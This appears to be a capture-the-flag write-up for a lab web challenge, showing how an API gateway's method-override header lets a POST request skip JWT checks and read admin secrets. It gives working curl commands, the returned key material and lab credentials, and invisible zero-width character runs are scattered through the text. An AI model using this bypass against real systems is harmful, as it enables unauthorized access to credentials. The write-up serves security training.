Apivio — JWT Authentication Bypass via Method Override

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: api_endpoint_enumeration, api_gateway_middleware_pipeline_exploitation, honeypot_flag_detection, http_method_override_authentication_bypass

Summary

Task: API management platform with JWT-protected admin endpoints and documented X-HTTP-Method-Override support. Solution: Bypass JWT authentication by sending POST request (not in JWT-enforced methods) with X-HTTP-Method-Override: GET header, exploiting middleware pipeline ordering where method override runs before authentication.

Apivio — JWT Authentication Bypass via Method Override — HackAdvisor Lab 117

Description

Apivio is an API management platform by Stratos Cloud Inc. that provides interactive API documentation, key management, endpoint configuration, and real-time access logging. The platform includes a built-in API gateway that handles authentication and request routing for backend services. Goal is to explore the platform's API gateway functionality and its authentication mechanisms to gain unauthorized access to sensitive administrative data. The platform manages multiple API endpoints with different authentication policies — some public, some requiring API keys, and some requiring JWT tokens with admin privileges. Credentials: user@test.com / password123 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: An API management platform with a gateway that routes requests through a middleware pipeline. Admin endpoints require JWT authentication. The goal is to bypass JWT auth and access admin secrets. Provided credentials are for a regular (non-admin) user.

Analysis

Initial Reconnaissance

Logged in with provided credentials (user@test.com / password123) via POST /login, which returned a session cookie (connect.sid). The login page and all other pages contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs — this is a standard HackAdvisor honeypot and was ignored. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

API Documentation (Key Discovery)

The /docs page revealed the full API documentation for "Apivio Gateway API v2.4.1". The most critical piece of information was the gateway middleware pipeline order:

Method Override → Authentication → Rate Limiting → Routing

The documentation explicitly states that the gateway supports the X-HTTP-Method-Override header for clients behind restrictive proxies.

Endpoint Map

Dead Ends

• POST /api/v1/auth/token with user credentials → "JWT tokens are only issued to admin users"
• GET /api/v1/admin/secrets with API key → "JWT authentication required" (API key doesn't satisfy JWT auth)
• Direct GET /api/v1/admin/secrets without auth → "JWT authentication required"

The Vulnerability

The middleware pipeline processes X-HTTP-Method-Override before the authentication middleware. The authentication middleware checks auth requirements based on the original HTTP method (POST), but POST is not in the endpoint's configured allowed methods for JWT enforcement. After auth passes (or is skipped), the method override rewrites the request to GET, and routing serves the admin data. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Attack flow:

1. Client sends POST /api/v1/admin/secrets with header X-HTTP-Method-Override: GET
2. Method Override middleware rewrites internal method to GET (but original method for auth check remains POST)
3. Authentication middleware sees POST for /api/v1/admin/secrets — POST is not in the JWT-required methods list → auth not enforced
4. Routing processes the request as GET → returns admin secrets

Solution

Step 1: Extract API Keys (Optional)

From the /keys page, API keys were visible in data-key HTML attributes:

• apvk_live_df0a20279ff54d6a80e2 (Production)
• apvk_test_d5b3c5effaf24c459195 (Staging) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

These were useful for accessing API-key-protected endpoints but insufficient for admin endpoints.

Step 2: Method Override Authentication Bypass

The exploit requires no authentication at all — no session cookie, no API key, no JWT token:

 bash read-only • copy allowed Copy
curl -s -X POST "https://d75da9c6-5278-4c08-a699-8768c0becdfb.labs.hackadvisor.io/api/v1/admin/secrets" \
  -H "X-HTTP-Method-Override: GET"

Response

 json read-only • copy allowed Copy
{
  "secrets": [
    {
      "key": "jwt_signing_key",
      "value": "sk_jwt_9f8e7d6c5b4a3210",
      "description": "HMAC-SHA256 key for JWT token signing"
    },
    {
      "key": "master_encryption_key",
      "value": "mek_a1b2c3d4e5f6g7h8i9j0",
      "description": "AES-256 master encryption key for secrets at rest"
    },
    {
      "key": "platform_flag",
      "value": "FLAG{REDACTED}",
      "description": "Platform integrity verification token"
    },
    {
      "key": "db_encryption_passphrase",
      "value": "xK9$mP2vL7nQ4wR1",
      "description": "SQLite encryption passphrase for backup archives"
    },
    {
      "key": "webhook_hmac_secret",
      "value": "whsec_f0e1d2c3b4a5",
      "description": "HMAC secret for signing outbound webhook payloads"
    }
  ]
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The same technique works on all admin endpoints:

 bash read-only • copy allowed Copy
# Admin audit logs
curl -s -X POST "https://<host>/api/v1/admin/audit" -H "X-HTTP-Method-Override: GET"

# Admin config
curl -s -X POST "https://<host>/api/v1/admin/config" -H "X-HTTP-Method-Override: GET"

Vulnerability Classification

• CWE-287: Improper Authentication
• CWE-288: Authentication Bypass Using an Alternate Path or Channel
• Root Cause: Middleware pipeline ordering — method override runs before authentication, allowing the original method to bypass auth checks while the overridden method satisfies routing ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Impact

Complete bypass of JWT authentication on all admin endpoints. Any unauthenticated user can access admin secrets (JWT signing keys, encryption keys, database passphrases), audit trails, and gateway configuration without any credentials or tokens. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍